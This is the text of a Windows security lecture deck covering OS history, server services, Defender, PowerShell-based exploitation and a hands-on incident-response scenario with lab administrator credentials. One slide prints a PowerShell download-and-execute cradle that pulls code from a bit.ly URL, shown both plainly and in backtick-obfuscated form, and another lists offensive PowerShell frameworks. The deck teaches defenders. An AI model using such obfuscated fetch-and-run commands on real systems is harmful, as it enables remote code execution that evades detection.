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SUMMARY
▶ History ▶ End of life ▶ CLI ▶ Services ▶ Security Considerations ▶ PowerShell ▶ Incident Response
SUMMARY History End of life CLI Services Security Considerations - - PowerPoint PPT Presentation
SUMMARY History End of life CLI Services Security Considerations - - PowerPoint PPT Presentation
SUMMARY History End of life CLI Services Security Considerations PowerShell Incident Response BRIEF HISTORY (WINDOWS CLIENT) MSDOS (1980) WINDOWS (1985) WINDOWS 3.1 (1992) Windows 95 (1995)
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BRIEF HISTORY (WINDOWS CLIENT)
▶
MSDOS (1980)
▶
WINDOWS (1985)
▶
WINDOWS 3.1 (1992)
▶
Windows 95 (1995)
▶
Windows ME (2000)
▶
Windows XP (2001)
▶
Windows Vista (2006)
▶
Windows 7 (2009)
▶
Windows 8 (2012)
▶
Windows 10 (2015)
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BRIEF HISTORY (WINDOWS SERVER)
▶ Windows NT (1993) ▶ Windows NT 4.0 (1996) ▶ Windows Server 2003 ▶ Windows Server 2008 ▶ Server 2012 ▶ Server 2016 ▶ Server 2019 (2018)
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MARKET SHARE
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END OF LIFE
▶ Windows 7 (2020) ▶ Windows 8.1 (2023)
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END OF LIFE
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KERNEL TYPES
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KERNEL
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COMMAND LINE INTERFACE (CLI)
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COMMAND LINE INTERFACE (CLI)
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SERVICES
*Fixes 99% of printer problems
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WINDOWS SERVER
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SERVER CORE
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ACTIVE DIRECTORY (AD)
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ACTIVE DIRECTORY (AD)
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DOMAIN NAME SERVICE (DNS)
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DYNAMIC HOST CONFIGURATION PROTOCOL(DHCP)
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FILE TRANSFER PROTOCOL (FTP)
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INTERNET INFORMATION SERVICES (IIS)
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SERVER MESSAGE BLOCK (SMB)
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DOMAIN NAME SERVICE (DNS)
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GROUP POLICY OBJECTS (GPO)
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SECURITY CONSIDERATIONS
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WINDOWS DEFENDER
▶ Built into Windows ▶ Behavior based/Signature based
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WINDOWS DEFENDER
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POWERSHELL BASED EXPLOITATION
▶ “Living off the land” ▶ Open Source Tools
▶
Bloodhound
▶
Empire (BC-Security Branch)
▶
Powerup
▶
PoshC2
▶
Death Star
▶
https://github.com/PowerShellMafia
▶
And more…
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OBFUSCATION AND POWERSHELL
▶ -nop == -nopr == -noprof == -noprofile ▶ Invoke-Expression (New-Object Net.WebClient).DownloadString(“htt” + “ps://” +
“bit.ly/sample”) ==
▶ `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
“`N`e`T`.`W`e`B`C`l`i`e`N`T”).”`D`o`w`N`l`o`A`d`S`T`R`i`N`g”( ‘ht’+’tps://bit.ly/sample’)
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POWERSHELL EXECUTION POLICIES
▶ Not intended to be a security feature
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POWERSHELL LOGGING
▶ Only possible in V5 ▶ Very powerful
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TOPPLING THE EMPIRE
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WHEN SIGNATURE DETECTION FAILS
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BEHAVIOR DETECTION SUCCEEDS
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WINDOWS DEFENDER + GROUP POLICIES
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WINDOWS DEFENDER + GROUP POLICIES
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POWERSHELL COMMANDS
▶ Get-Service
▶
Lists services running or stopped
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POWERSHELL COMMANDS
▶ Start-Service <servicename> ▶ Stop-Service <servicename>
▶
Start/Stop service
▶
- Ex. Start-Service DNS
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POWERSHELL COMMANDS
▶ sc.exe start <servicename> ▶ sc.exe stop <servicename>
▶
Start/Stop service
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POWERSHELL COMMANDS
▶ Set-Service –Name <serviceName> -StartupType <startupType>
▶
Automatic (Delayed)
▶
Automatic
▶
Manual
▶
Disabled
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POWERSHELL COMMANDS
▶ Get-MpComputerStatus
▶
Gets the status of antimalware software on system
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POWERSHELL COMMANDS
▶ Get-Process
▶
List Processes
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POWERSHELL COMMANDS
▶ Clear
▶
Clear Screen
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POWERSHELL COMMANDS
▶ More info https://docs.microsoft.com/en-us/powershell/
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INCIDENT RESPONSE
Hands on
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SCENARIO
▶
Device: 1x breached Active Directory Server
▶
Brute force attack detected by intrusion detection system at 9/9/2020 at 0900 EST
▶
Defender scan ran following attack no malicious programs found ▶
Credentials
▶
Username: NIMITZ\Administrator
▶
Password: Change.me!